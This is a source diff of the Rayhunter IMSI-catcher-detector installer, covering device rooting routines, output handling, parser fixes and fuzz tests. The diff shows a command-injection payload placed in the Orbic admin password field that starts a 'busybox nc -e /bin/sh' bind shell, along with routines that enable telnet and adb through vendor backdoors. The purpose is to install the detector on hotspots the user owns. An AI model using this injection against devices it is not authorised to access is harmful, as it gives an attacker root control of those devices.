#[arg(long, default_value = "192.168.1.1")]
admin_ip: String,
/// Local path to the file to send.
local_path: String,
/// Remote path where the file should be stored on the device.
remote_path: String,
}
#[derive(Parser, Debug)]
struct WingtechArgs {
/// IP address for Wingtech admin interface, if custom.
#[arg(long, default_value = "192.168.1.1")]
admin_ip: String,
/// Web portal admin password.
#[arg(long)]
admin_password: String,
}
#[derive(Parser, Debug)]
struct Serial {
#[arg(long)]
root: bool,
command: Vec<String>,
}
async fn run() -> Result<(), Error> {
env_logger::Builder::from_env(Env::default().default_filter_or("off")).init();
let Args { command } = Args::parse();
match command {
Command::Tmobile(args) => tmobile::install(args).await.context("Failed to install rayhunter on the Tmobile TMOHS1. Make sure your computer is connected to the hotspot using USB tethering or WiFi.")?,
Command::Uz801(args) => uz801::install(args).await.context("Failed to install rayhunter on the Uz801. Make sure your computer is connected to the hotspot using USB.")?,
Command::Tplink(tplink) => tplink::main_tplink(tplink).await.context("Failed to install rayhunter on the TP-Link M7350. Make sure your computer is connected to the hotspot using USB tethering or WiFi.")?,
Command::Pinephone(_) => pinephone::install().await
.context("Failed to install rayhunter on the Pinephone's Quectel modem")?,
Command::OrbicUsb(_) => orbic::install().await.context("\nFailed to install rayhunter on the Orbic RC400L (USB installer)")?,
Command::Orbic(args) => orbic_network::install(args.admin_ip, args.admin_username, args.admin_password).await.context("\nFailed to install rayhunter on the Orbic RC400L")?,
Command::Wingtech(args) => wingtech::install(args).await.context("\nFailed to install rayhunter on the Wingtech CT2MHS01")?,
Command::Util(subcommand) => match subcommand.command {
UtilSubCommand::Serial(serial_cmd) => {
if serial_cmd.root {
if !serial_cmd.command.is_empty() {
eprintln!("You cannot use --root and specify a command at the same time");
std::process::exit(64);
}
orbic::enable_command_mode()?;
} else if serial_cmd.command.is_empty() {
eprintln!("Command cannot be an empty string");
std::process::exit(64);
} else {
let cmd = serial_cmd.command.join(" ");
match orbic::open_orbic()? {
Some(interface) => orbic::send_serial_cmd(&interface, &cmd).await?,
None => bail!(orbic::ORBIC_NOT_FOUND),
}
}
}
UtilSubCommand::Shell => orbic::shell().await.context("\nFailed to open shell on Orbic RC400L")?,
UtilSubCommand::TmobileStartTelnet(args) => wingtech::start_telnet(&args.admin_ip, &args.admin_password).await.context("\nFailed to start telnet on the Tmobile TMOHS1")?,
UtilSubCommand::TmobileStartAdb(args) => wingtech::start_adb(&args.admin_ip, &args.admin_password).await.context("\nFailed to start adb on the Tmobile TMOHS1")?,
UtilSubCommand::Uz801StartAdb(args) => uz801::activate_usb_debug(&args.admin_ip).await.context("\nFailed to activate USB debug on the Uz801")?,
UtilSubCommand::TplinkStartTelnet(options) => {
tplink::start_telnet(&options.admin_ip).await?;
}
UtilSubCommand::TplinkSendFile(options) => {
util::send_file(&options.admin_ip, &options.local_path, &options.remote_path).await?;
}
UtilSubCommand::WingtechSendFile(options) => {
util::send_file(&options.admin_ip, &options.local_path, &options.remote_path).await?;
}
UtilSubCommand::WingtechStartTelnet(args) => wingtech::start_telnet(&args.admin_ip, &args.admin_password).await.context("\nFailed to start telnet on the Wingtech CT2MHS01")?,
UtilSubCommand::WingtechStartAdb(args) => wingtech::start_adb(&args.admin_ip, &args.admin_password).await.context("\nFailed to start adb on the Wingtech CT2MHS01")?,
UtilSubCommand::PinephoneStartAdb => pinephone::start_adb().await.context("\nFailed to start adb on the PinePhone's modem")?,
UtilSubCommand::PinephoneStopAdb => pinephone::stop_adb().await.context("\nFailed to stop adb on the PinePhone's modem")?,
UtilSubCommand::OrbicStartTelnet(args) => orbic_network::start_telnet(&args.admin_ip, &args.admin_username, args.admin_password.as_deref()).await.context("\\nFailed to start telnet on the Orbic RC400L")?,
}
}
Ok(())
}
#[tokio::main(flavor = "current_thread")]
async fn main() {
if let Err(e) = run().await {
if let Err(e) = installer::main_cli().await {
eprintln!("{e:?}");
std::process::exit(1);
}

View File

@@ -1,7 +1,7 @@
#[cfg(target_os = "windows")]
use std::io::stdin;
use std::io::{ErrorKind, Write};
use std::io::ErrorKind;
use std::path::Path;
use std::time::Duration;
@@ -12,7 +12,8 @@ use nusb::transfer::{Control, ControlType, Recipient, RequestBuffer};
use sha2::{Digest, Sha256};
use tokio::time::sleep;
use crate::util::{echo, open_usb_device};
use crate::output::{print, println};
use crate::util::open_usb_device;
use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT};
pub const ORBIC_NOT_FOUND: &str = r#"No Orbic device found.
@@ -54,7 +55,7 @@ const RNDIS_INTERFACE: u8 = 1;
#[cfg(target_os = "windows")]
async fn confirm() -> Result<bool> {
println!("{}", WINDOWS_WARNING);
echo!("Do you wish to proceed? Enter 'yes' to install> ");
print!("Do you wish to proceed? Enter 'yes' to install> ");
let mut input = String::new();
stdin().read_line(&mut input)?;
Ok(input.trim() == "yes")
@@ -75,13 +76,13 @@ pub async fn install() -> Result<()> {
}
let mut adb_device = force_debug_mode().await?;
echo!("Installing rootshell... ");
print!("Installing rootshell... ");
setup_rootshell(&mut adb_device).await?;
println!("done");
echo!("Installing rayhunter... ");
print!("Installing rayhunter... ");
let mut adb_device = setup_rayhunter(adb_device).await?;
println!("done");
echo!("Testing rayhunter... ");
print!("Testing rayhunter... ");
test_rayhunter(&mut adb_device).await?;
println!("done");
Ok(())
@@ -89,7 +90,7 @@ pub async fn install() -> Result<()> {
pub async fn shell() -> Result<()> {
println!(
"WARNING: The orbic USB installer is likely to go away in a future version of Rayhunter. Consider using ./installer util orbic-start-telnet instead."
"WARNING: The orbic USB installer is not recommended for most usecases. Consider using ./installer util orbic-shell instead, unless you want ADB access for other purposes."
);
println!("opening shell");
@@ -101,11 +102,11 @@ pub async fn shell() -> Result<()> {
async fn force_debug_mode() -> Result<ADBUSBDevice> {
println!("Forcing a switch into the debug mode to enable ADB");
enable_command_mode()?;
echo!("ADB enabled, waiting for reboot... ");
print!("ADB enabled, waiting for reboot... ");
let mut adb_device = get_adb().await?;
adb_setup_serial(&mut adb_device).await?;
println!("it's alive!");
echo!("Waiting for atfwd_daemon to startup... ");
print!("Waiting for atfwd_daemon to startup... ");
adb_command(&mut adb_device, &["pgrep", "atfwd_daemon"])?;
println!("done");
Ok(adb_device)
@@ -159,7 +160,7 @@ async fn setup_rayhunter(mut adb_device: ADBUSBDevice) -> Result<ADBUSBDevice> {
adb_at_syscmd(&mut adb_device, "chmod 755 /etc/init.d/rayhunter_daemon").await?;
adb_at_syscmd(&mut adb_device, "chmod 755 /etc/init.d/misc-daemon").await?;
println!("done");
echo!("Waiting for reboot... ");
print!("Waiting for reboot... ");
adb_at_syscmd(&mut adb_device, "shutdown -r -t 1 now").await?;
// first wait for shutdown (it can take ~10s)
tokio::time::timeout(Duration::from_secs(30), async {

View File

@@ -1,4 +1,3 @@
use std::io::Write;
use std::net::SocketAddr;
use std::str::FromStr;
use std::time::Duration;
@@ -9,9 +8,13 @@ use serde::Deserialize;
use tokio::time::sleep;
use crate::orbic_auth::{LoginInfo, LoginRequest, LoginResponse, encode_password};
use crate::util::{echo, telnet_send_command, telnet_send_file};
use crate::output::{eprintln, print, println};
use crate::util::{interactive_shell, telnet_send_command, telnet_send_file};
use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT};
// Some kajeet devices have password protected telnetd on port 23, so we use port 24 just in case
const TELNET_PORT: u16 = 24;
#[derive(Deserialize, Debug)]
struct ExploitResponse {
retcode: u32,
@@ -101,10 +104,10 @@ async fn login_and_exploit(admin_ip: &str, username: &str, password: &str) -> Re
.post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip))
.header("Content-Type", "application/json")
.header("Cookie", authenticated_cookie)
// Original Orbic lacks telnetd (unlike other devices)
// When doing this, one needs to set prompt=None in the telnet utility functions
// But some kajeet devices have password protected telnetd so we use port 24 just in case
.body(r#"{"password": "\"; busybox nc -ll -p 24 -e /bin/sh & #"}"#)
// Original Orbic lacks telnetd (kajeet has it) so we need to use netcat
.body(format!(
r#"{{"password": "\"; busybox nc -ll -p {TELNET_PORT} -e /bin/sh & #"}}"#
))
.send()
.await
.context("failed to start telnet")?
@@ -128,7 +131,7 @@ pub async fn start_telnet(
anyhow::bail!("--admin-password is required");
};
echo!("Logging in and starting telnet... ");
print!("Logging in and starting telnet... ");
login_and_exploit(admin_ip, admin_username, admin_password).await?;
println!("done");
@@ -154,11 +157,11 @@ pub async fn install(
anyhow::bail!("exiting");
};
echo!("Logging in and starting telnet... ");
print!("Logging in and starting telnet... ");
login_and_exploit(&admin_ip, &admin_username, &admin_password).await?;
println!("done");
echo!("Waiting for telnet to become available... ");
print!("Waiting for telnet to become available... ");
wait_for_telnet(&admin_ip).await?;
println!("done");
@@ -166,7 +169,7 @@ pub async fn install(
}
async fn wait_for_telnet(admin_ip: &str) -> Result<()> {
let addr = SocketAddr::from_str(&format!("{}:24", admin_ip))?;
let addr = SocketAddr::from_str(&format!("{admin_ip}:{TELNET_PORT}"))?;
let timeout = Duration::from_secs(60);
let start_time = std::time::Instant::now();
@@ -187,7 +190,7 @@ async fn wait_for_telnet(admin_ip: &str) -> Result<()> {
}
async fn setup_rayhunter(admin_ip: &str) -> Result<()> {
let addr = SocketAddr::from_str(&format!("{}:24", admin_ip))?;
let addr = SocketAddr::from_str(&format!("{admin_ip}:{TELNET_PORT}"))?;
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
// Remount filesystem as read-write to allow modifications
@@ -270,3 +273,16 @@ async fn setup_rayhunter(admin_ip: &str) -> Result<()> {
Ok(())
}
/// Root the Orbic device and open an interactive shell
pub async fn shell(
admin_ip: &str,
admin_username: &str,
admin_password: Option<&str>,
) -> Result<()> {
start_telnet(admin_ip, admin_username, admin_password).await?;
eprintln!(
"This terminal is fairly limited. The shell prompt may not be visible, but it still accepts commands."
);
interactive_shell(admin_ip, TELNET_PORT, false).await
}

112
installer/src/output.rs Normal file
View File

@@ -0,0 +1,112 @@
//! Output handling for the installer
//!
//! This module provides custom print macros that can be intercepted by setting
//! a callback function. This is essential for FFI usage where stdout/stderr
//! redirection doesn't work reliably (especially on Android).
use std::io::Write;
use std::sync::Mutex;
/// Type for the output callback function
type OutputCallbackFn = Box<dyn Fn(&str) + Send + Sync>;
/// Global output callback storage
static OUTPUT_CALLBACK: Mutex<Option<OutputCallbackFn>> = Mutex::new(None);
/// Set the global output callback
///
/// All output from `println!` and `eprintln!` will be sent to this callback.
/// If no callback is set, output goes to stdout/stderr as normal.
///
/// Returns a guard that when dropped, resets the callback.
pub(crate) fn set_output_callback<F>(callback: F) -> OutputCallbackGuard
where
F: Fn(&str) + Send + Sync + 'static,
{
*OUTPUT_CALLBACK.lock().unwrap() = Some(Box::new(callback));
OutputCallbackGuard
}
pub struct OutputCallbackGuard;
impl Drop for OutputCallbackGuard {
fn drop(&mut self) {
clear_output_callback();
}
}
/// Clear the global output callback
pub(crate) fn clear_output_callback() {
*OUTPUT_CALLBACK.lock().unwrap() = None;
}
/// Write a line to the output (either callback or stdout)
pub(crate) fn write_output_line(s: &str) {
if let Ok(guard) = OUTPUT_CALLBACK.lock()
&& let Some(ref callback) = *guard
{
callback(s);
callback("\n");
return;
}
// Fallback to stdout if no callback or lock failed
std::println!("{}", s);
let _ = std::io::stdout().flush();
}
/// Write an error line to the output (either callback or stderr)
pub(crate) fn write_error_line(s: &str) {
if let Ok(guard) = OUTPUT_CALLBACK.lock()
&& let Some(ref callback) = *guard
{
callback(s);
callback("\n");
return;
}
// Fallback to stderr if no callback or lock failed
std::eprintln!("{}", s);
let _ = std::io::stderr().flush();
}
/// Write raw output without newline (either callback or stdout)
pub(crate) fn write_output_raw(s: &str) {
if let Ok(guard) = OUTPUT_CALLBACK.lock()
&& let Some(ref callback) = *guard
{
callback(s);
return;
}
// Fallback to stdout if no callback or lock failed
std::print!("{}", s);
let _ = std::io::stdout().flush();
}
/// Shadow println! macro to respect the output callback
macro_rules! println {
() => {
$crate::output::write_output_line("")
};
($($arg:tt)*) => {{
$crate::output::write_output_line(&format!($($arg)*))
}};
}
pub(crate) use println;
/// Shadow eprintln! macro to respect the output callback
macro_rules! eprintln {
() => {
$crate::output::write_error_line("")
};
($($arg:tt)*) => {{
$crate::output::write_error_line(&format!($($arg)*))
}};
}
pub(crate) use eprintln;
/// Shadow print! macro to respect the output callback
macro_rules! print {
($($arg:tt)*) => {{
$crate::output::write_output_raw(&format!($($arg)*))
}};
}
pub(crate) use print;

View File

@@ -1,4 +1,3 @@
use std::io::Write;
use std::path::Path;
use std::time::Duration;
@@ -11,7 +10,8 @@ use nusb::transfer::{Control, ControlType, Recipient, RequestBuffer};
use tokio::time::sleep;
use crate::orbic::test_rayhunter;
use crate::util::{echo, open_usb_device};
use crate::output::{print, println};
use crate::util::open_usb_device;
use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT};
const USB_VENDOR_ID: u16 = 0x2C7C;
@@ -19,7 +19,7 @@ const USB_PRODUCT_ID: u16 = 0x125;
const USB_INTERFACE_NUMBER: u8 = 2;
pub async fn install() -> Result<()> {
echo!("Unlocking modem ... ");
print!("Unlocking modem ... ");
start_adb().await?;
sleep(Duration::from_secs(3)).await;
let mut adb = ADBUSBDevice::new(USB_VENDOR_ID, USB_PRODUCT_ID).unwrap();
@@ -54,13 +54,13 @@ pub async fn install() -> Result<()> {
adb.run_command(&["shutdown -r -t 1 now"], "exit code 0")?;
sleep(Duration::from_secs(30)).await;
echo!("Unlocking modem ... ");
print!("Unlocking modem ... ");
start_adb().await?;
sleep(Duration::from_secs(3)).await;
let mut adb = ADBUSBDevice::new(USB_VENDOR_ID, USB_PRODUCT_ID).unwrap();
println!("ok");
echo!("Testing rayhunter ... ");
print!("Testing rayhunter ... ");
test_rayhunter(&mut adb).await?;
println!("ok");
println!("rayhunter is running on the modem. Use adb to access the web interface.");
@@ -198,7 +198,7 @@ impl Install for ADBUSBDevice {
/// Transfer a file to the modem's filesystem with adb push.
/// Validates the file sends successfully to /tmp before overwriting the destination.
fn install_file(&mut self, dest: &str, mut payload: &[u8]) -> Result<()> {
echo!("Sending file {dest} ... ");
print!("Sending file {dest} ... ");
let file_name = Path::new(dest)
.file_name()
.ok_or_else(|| anyhow!("{dest} does not have a file name"))?

View File

@@ -4,7 +4,6 @@
/// WT_INNER_VERSION=SW_Q89527AA1_V045_M11_TMO_USR_MP
/// WT_PRODUCTION_VERSION=TMOHS1_00.05.20
/// WT_HARDWARE_VERSION=89527_1_11
use std::io::Write;
use std::net::SocketAddr;
use std::str::FromStr;
use std::time::Duration;
@@ -13,7 +12,8 @@ use anyhow::Result;
use tokio::time::sleep;
use crate::TmobileArgs as Args;
use crate::util::{echo, http_ok_every, telnet_send_command, telnet_send_file};
use crate::output::{print, println};
use crate::util::{http_ok_every, telnet_send_command, telnet_send_file};
use crate::wingtech::start_telnet;
pub async fn install(
@@ -26,12 +26,12 @@ pub async fn install(
}
async fn run_install(admin_ip: String, admin_password: String) -> Result<()> {
echo!("Starting telnet ... ");
print!("Starting telnet ... ");
start_telnet(&admin_ip, &admin_password).await?;
sleep(Duration::from_millis(200)).await;
println!("ok");
echo!("Connecting via telnet to {admin_ip} ... ");
print!("Connecting via telnet to {admin_ip} ... ");
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0", true).await?;
println!("ok");
@@ -96,7 +96,7 @@ async fn run_install(admin_ip: String, admin_password: String) -> Result<()> {
telnet_send_command(addr, "reboot", "exit code 0", true).await?;
sleep(Duration::from_secs(30)).await;
echo!("Testing rayhunter ... ");
print!("Testing rayhunter ... ");
let max_failures = 10;
http_ok_every(
format!("http://{admin_ip}:8080/index.html"),

View File

@@ -18,7 +18,8 @@ use serde::Deserialize;
use tokio::time::sleep;
use crate::InstallTpLink;
use crate::util::{telnet_send_command, telnet_send_file};
use crate::output::println;
use crate::util::{interactive_shell, telnet_send_command, telnet_send_file};
type HttpProxyClient = hyper_util::client::legacy::Client<HttpConnector, Body>;
@@ -378,10 +379,18 @@ fn get_rayhunter_daemon(sdcard_path: &str) -> String {
// specific to a particular hardware revision here.
crate::RAYHUNTER_DAEMON_INIT.replace(
"#RAYHUNTER-PRESTART",
&format!("mount /dev/mmcblk0p1 {sdcard_path} || true"),
&format!(
"(mount /dev/mmcblk0p1 {sdcard_path} || true) 2>&1 | tee /tmp/rayhunter-mount.log"
),
)
}
/// Root the TP-Link device and open an interactive shell
pub async fn shell(admin_ip: &str) -> Result<(), Error> {
start_telnet(admin_ip).await?;
interactive_shell(admin_ip, 23, true).await
}
#[test]
fn test_get_rayhunter_daemon() {
let s = get_rayhunter_daemon("/media/card");

View File

@@ -1,4 +1,3 @@
use std::io::Write;
use std::net::SocketAddr;
use std::str::FromStr;
use std::time::Duration;
@@ -10,13 +9,10 @@ use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{sleep, timeout};
macro_rules! echo {
($($arg:tt)*) => {
print!($($arg)*);
let _ = std::io::stdout().flush();
};
}
pub(crate) use echo;
use crate::output::{print, println};
#[cfg(unix)]
use std::os::fd::AsRawFd;
pub async fn telnet_send_command_with_output(
addr: SocketAddr,
@@ -91,7 +87,7 @@ pub async fn telnet_send_file(
payload: &[u8],
wait_for_prompt: bool,
) -> Result<()> {
echo!("Sending file {filename}... ");
print!("Sending file {filename} ... ");
let nc_output = {
let filename = filename.to_owned();
let handle = tokio::spawn(async move {
@@ -122,7 +118,7 @@ pub async fn telnet_send_file(
break;
}
echo!("attempt {attempts}... ");
print!("attempt {attempts}... ");
}
{
@@ -216,6 +212,7 @@ pub async fn http_ok_every(
}
/// General function to open a USB device
#[cfg(not(target_os = "android"))]
pub fn open_usb_device(vid: u16, pid: u16) -> Result<Option<Device>> {
let devices = match nusb::list_devices() {
Ok(d) => d,
@@ -231,3 +228,82 @@ pub fn open_usb_device(vid: u16, pid: u16) -> Result<Option<Device>> {
}
Ok(None)
}
/// Open an interactive shell to a device
///
/// Connects to a shell service on the device and forwards stdin/stdout bidirectionally.
pub async fn interactive_shell(admin_ip: &str, shell_port: u16, raw_mode: bool) -> Result<()> {
let shell_addr = SocketAddr::from_str(&format!("{admin_ip}:{shell_port}"))?;
let mut stream = TcpStream::connect(shell_addr)
.await
.context("Failed to connect to shell. Make sure the device is reachable.")?;
let stdin = tokio::io::stdin();
#[cfg(unix)]
let raw_terminal_guard = if raw_mode {
Some(RawTerminal::new(stdin.as_raw_fd())?)
} else {
None
};
// suppress "unused variable" lint
#[cfg(not(unix))]
let _used = raw_mode;
let mut stdio = tokio::io::join(stdin, tokio::io::stdout());
let _ = tokio::io::copy_bidirectional(&mut stream, &mut stdio).await;
// hitting ctrl-d will not print a trailing newline on tplink at least, which messes up the
// next prompt
println!();
// The current_thread runtime in tokio will block forever until stdin receives a read error. To
// work around this cleanup issue we just exit directly from here.
//
// This is documented as a flaw in tokio::io::stdin()'s own docs, but the recommended
// workaround to spawn your own OS thread doesn't work.
//
// For some reason this only happens when the terminal is being put in raw mode (removing
// RawTerminal fixes it)
//
// We have to drop the RawTerminal guard before exiting, otherwise we will
// mess up the terminal.
#[cfg(unix)]
drop(raw_terminal_guard);
std::process::exit(0)
}
#[cfg(unix)]
struct RawTerminal {
fd: std::os::fd::RawFd,
original_termios: termios::Termios,
}
#[cfg(unix)]
impl RawTerminal {
fn new(fd: std::os::fd::RawFd) -> Result<Self> {
// put terminal in raw mode so that arrow keys, tab etc are correctly forwarded to the
// device's shell
let original_termios = termios::Termios::from_fd(fd)?;
let mut new_termios = original_termios;
// set flags on the struct
termios::cfmakeraw(&mut new_termios);
// apply changes
termios::tcsetattr(fd, termios::TCSANOW, &new_termios)?;
Ok(RawTerminal {
fd,
original_termios,
})
}
}
#[cfg(unix)]
impl Drop for RawTerminal {
fn drop(&mut self) {
let _ = termios::tcsetattr(self.fd, termios::TCSANOW, &self.original_termios);
}
}

View File

@@ -1,4 +1,3 @@
use std::io::Write;
use std::path::Path;
/// Installer for the Uz801 hotspot.
///
@@ -15,30 +14,30 @@ use md5::compute as md5_compute;
use tokio::time::sleep;
use crate::Uz801Args as Args;
use crate::util::echo;
use crate::output::{print, println};
pub async fn install(Args { admin_ip }: Args) -> Result<()> {
run_install(admin_ip).await
}
async fn run_install(admin_ip: String) -> Result<()> {
echo!("Activating USB debugging backdoor... ");
print!("Activating USB debugging backdoor... ");
activate_usb_debug(&admin_ip).await?;
println!("ok");
echo!("Waiting for device reboot and ADB connection... ");
print!("Waiting for device reboot and ADB connection... ");
let mut adb_device = wait_for_adb().await?;
println!("ok");
echo!("Installing rayhunter files... ");
print!("Installing rayhunter files... ");
install_rayhunter_files(&mut adb_device).await?;
println!("ok");
echo!("Modifying startup script... ");
print!("Modifying startup script... ");
modify_startup_script(&mut adb_device).await?;
println!("ok");
echo!("Rebooting the device... ");
print!("Rebooting the device... ");
let _ = adb_device.reboot(adb_client::RebootType::System);
println!("ok");
@@ -55,7 +54,7 @@ pub async fn activate_usb_debug(admin_ip: &str) -> Result<()> {
let origin = format!("http://{admin_ip}");
// Check if device is online
echo!("Checking if device is online... ");
print!("Checking if device is online... ");
let client = reqwest::Client::builder()
.timeout(Duration::from_secs(5))
.build()?;

View File

@@ -4,7 +4,6 @@
/// WT_INNER_VERSION=SW_Q89323AA1_V057_M10_CRICKET_USR_MP
/// WT_PRODUCTION_VERSION=CT2MHS01_0.04.55
/// WT_HARDWARE_VERSION=89323_1_20
use std::io::Write;
use std::net::SocketAddr;
use std::str::FromStr;
use std::time::Duration;
@@ -19,7 +18,8 @@ use serde::Deserialize;
use tokio::time::sleep;
use crate::WingtechArgs as Args;
use crate::util::{echo, http_ok_every, telnet_send_command, telnet_send_file};
use crate::output::{print, println};
use crate::util::{http_ok_every, telnet_send_command, telnet_send_file};
#[derive(Deserialize)]
struct LoginResponse {
@@ -89,11 +89,11 @@ pub async fn run_command(admin_ip: &str, admin_password: &str, cmd: &str) -> Res
}
async fn wingtech_run_install(admin_ip: String, admin_password: String) -> Result<()> {
echo!("Starting telnet ... ");
print!("Starting telnet ... ");
start_telnet(&admin_ip, &admin_password).await?;
println!("ok");
echo!("Connecting via telnet to {admin_ip} ... ");
print!("Connecting via telnet to {admin_ip} ... ");
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0", true).await?;
println!("ok");
@@ -149,7 +149,7 @@ async fn wingtech_run_install(admin_ip: String, admin_password: String) -> Resul
telnet_send_command(addr, "shutdown -r -t 1 now", "exit code 0", true).await?;
sleep(Duration::from_secs(30)).await;
echo!("Testing rayhunter ... ");
print!("Testing rayhunter ... ");
let max_failures = 10;
http_ok_every(
format!("http://{admin_ip}:8080/index.html"),

View File

@@ -1,6 +1,6 @@
[package]
name = "rayhunter"
version = "0.8.0"
version = "0.9.0"
edition = "2024"
description = "Realtime cellular data decoding and analysis for IMSI catcher detection"
@@ -13,7 +13,7 @@ path = "src/lib.rs"
bytes = "1.5.0"
chrono = { version = "0.4.31", features = ["serde"] }
crc = "3.0.1"
deku = { version = "0.18.0", features = ["logging"] }
deku = { version = "0.20.0", features = ["logging"] }
libc = "0.2.150"
log = "0.4.20"
nix = { version = "0.29.0", features = ["feature"] }

View File

@@ -5,7 +5,7 @@ use crc::{Algorithm, Crc};
use deku::prelude::*;
use crate::hdlc::{self, hdlc_decapsulate};
use log::{error, warn};
use log::warn;
use thiserror::Error;
pub const MESSAGE_TERMINATOR: u8 = 0x7e;
@@ -131,7 +131,7 @@ pub enum Message {
log_type: u16,
timestamp: Timestamp,
// pass the log type and log length (inner_length - (sizeof(log_type) + sizeof(timestamp)))
#[deku(ctx = "*log_type, *inner_length - 12")]
#[deku(ctx = "*log_type, inner_length.saturating_sub(12)")]
body: LogBody,
},
@@ -141,10 +141,13 @@ pub enum Message {
// pass those opcodes down to their respective parsers.
#[deku(id_pat = "_")]
Response {
opcode: u32,
opcode1: u8, // the "id" (from deku's POV) gets parsed into this field
opcode2: u8,
opcode3: u8,
opcode4: u8,
subopcode: u32,
status: u32,
#[deku(ctx = "*opcode, *subopcode")]
#[deku(ctx = "u32::from_le_bytes([*opcode1, *opcode2, *opcode3, *opcode4]), *subopcode")]
payload: ResponsePayload,
},
}
@@ -189,20 +192,22 @@ pub enum LogBody {
// * 0xb0ed: plain EMM NAS message (outgoing)
#[deku(id_pat = "0xb0e2 | 0xb0e3 | 0xb0ec | 0xb0ed")]
Nas4GMessage {
#[deku(ctx = "log_type")]
#[deku(skip, default = "log_type")]
log_type: u16,
#[deku(ctx = "*log_type")]
direction: Nas4GMessageDirection,
ext_header_version: u8,
rrc_rel: u8,
rrc_version_minor: u8,
rrc_version_major: u8,
// message length = hdr_len - (sizeof(ext_header_version) + sizeof(rrc_rel) + sizeof(rrc_version_minor) + sizeof(rrc_version_major))
#[deku(count = "hdr_len - 4")]
#[deku(count = "hdr_len.saturating_sub(4)")]
msg: Vec<u8>,
},
#[deku(id = "0x11eb")]
IpTraffic {
// is this right?? based on https://github.com/P1sec/QCSuper/blob/81dbaeee15ec7747e899daa8e3495e27cdcc1264/src/modules/pcap_dump.py#L378
#[deku(count = "hdr_len - 8")]
#[deku(count = "hdr_len.saturating_sub(8)")]
msg: Vec<u8>,
},
#[deku(id = "0x713a")]
@@ -613,4 +618,83 @@ mod test {
Err(DiagParsingError::HdlcDecapsulationError(_, _))
));
}
#[test]
fn test_fuzz_crash_inner_length_underflow() {
// Regression test: inner_length < 12 previously caused panic.
// Fixed by using saturating_sub in Message::Log body length calculation.
let fuzz_data = b"\x10\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
let _ = Message::from_bytes((fuzz_data, 0));
}
#[test]
fn test_fuzz_crash_nas_hdr_len_underflow() {
// Regression test for two things:
// - hdr_len < 4 previously caused panic in Nas4GMessage.
// - Upgrading to deku 0.20 caused incorrect parsing behavior (double-read of discriminant)
let nas_msg =
b"\x10\x00\x14\x00\x02\x00\xe2\xb0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00";
let ((rest, _), msg) = Message::from_bytes((nas_msg, 0)).unwrap();
assert_eq!(rest.len(), 0);
assert!(
matches!(
msg,
Message::Log {
log_type: 0xb0e2,
body: LogBody::Nas4GMessage {
direction: Nas4GMessageDirection::Downlink,
..
},
..
}
),
"Unexpected message: {:?}",
msg
);
}
#[test]
fn test_fuzz_crash_ip_traffic_hdr_len_underflow() {
// Regression test: hdr_len < 8 previously caused panic in IpTraffic.
// Fixed by using saturating_sub for msg length calculation.
let ip_msg = b"\x10\x00\x14\x00\x02\x00\xeb\x11\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00";
let _ = Message::from_bytes((ip_msg, 0));
}
#[test]
fn test_fuzz_crash_response_opcode_parsing() {
// Regression test: Upgrading to deku 0.20 caused incorrect parsing of Response messages.
// The issue was that deku 0.20 requires an `id` field for `id_pat = "_"` variants,
// but in deku 0.18 the discriminant was NOT consumed from the stream.
// This caused a 1-byte offset, making opcode and all subsequent fields misaligned.
// Fixed by splitting the opcode into 4 separate u8 fields so the discriminant byte
// becomes the first byte of the opcode, matching the old deku 0.18 behavior.
let response_msg = b"\x73\x00\x00\x00\x03\x00\x00\x00\x0a\x00\xec\xb0\x8e\x51\x02\x6f\x2a\xc5\x0b\x01\x01\x09\x05\x00\x07\x45\x8e\x14\x7d";
let ((rest, _), msg) = Message::from_bytes((response_msg, 0)).unwrap();
// Verify the opcode is correctly parsed as 115 (0x73 in first byte)
// In little-endian: [0x73, 0x00, 0x00, 0x00] = 0x00000073 = 115
assert!(
matches!(
msg,
Message::Response {
opcode1: 0x73,
opcode2: 0x00,
opcode3: 0x00,
opcode4: 0x00,
subopcode: 3,
status: 2968256522, // [0x0a, 0x00, 0xec, 0xb0] in LE
payload: ResponsePayload::LogConfig(LogConfigResponse::SetMask),
}
),
"Unexpected message: {:?}",
msg
);
// Verify we consumed the expected number of bytes
assert_eq!(rest.len(), 17);
}
}

47
logo/combined.svg Normal file
View File

@@ -0,0 +1,47 @@
<?xml version="1.0" encoding="UTF-8"?>
<svg id="g" data-name="Layer 10" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1200 1200">
<defs>
<style>
.j {
fill: #4e4eb1;
}
.k {
fill: #fff;
}
.l {
fill: #94ea18;
}
.m {
fill: #3f3da0;
}
</style>
</defs>
<path class="j" d="M1026.11,508.07v606.14c0,25.85-20.96,46.8-46.81,46.8H216.38c-25.85,0-46.81-20.95-46.81-46.8V508.07c0-25.85,20.96-46.81,46.81-46.81h24.34c.23-9.13.81-18.28,1.76-27.43,6.81-65.43,32.02-127.21,72.9-178.69,30.81-38.81,69.55-70.56,113.35-93.12-1.1-9.47-3.19-19.3-6.2-29.01-4.19-13.51-16.95-54.61,7.94-88.38,14.02-19.04,36.54-29.97,61.78-29.97,11.78,0,22.24,2.31,28.55,3.71l1.06.23c41.19,9.1,82.37,32.17,122.41,68.55,22.09,20.08,39.04,39.98,49.6,53.49,53.65,17.44,102.38,47.9,141.81,88.77,44.44,46.07,75.21,103.3,88.97,165.51l.03.16c1.21,5.53,6.3,31.51,4.09,66.18h50.53c25.85,0,46.81,20.96,46.81,46.81Z"/>
<g>
<g>
<polygon class="l" points="911.94 512.54 911.94 885.6 817.63 885.6 817.63 622.92 850.38 640.91 848.07 599.67 881.89 602.46 867.06 568.16 897.65 563.99 873.55 534.32 894.99 512.54 911.94 512.54"/>
<polygon class="l" points="798.22 627.73 798.22 885.6 703.91 885.6 703.91 605.81 735.88 605.81 734.99 628.87 764.18 617.75 772.98 652.97 798.22 627.73"/>
<rect class="l" x="590.19" y="699.08" width="94.3" height="186.53"/>
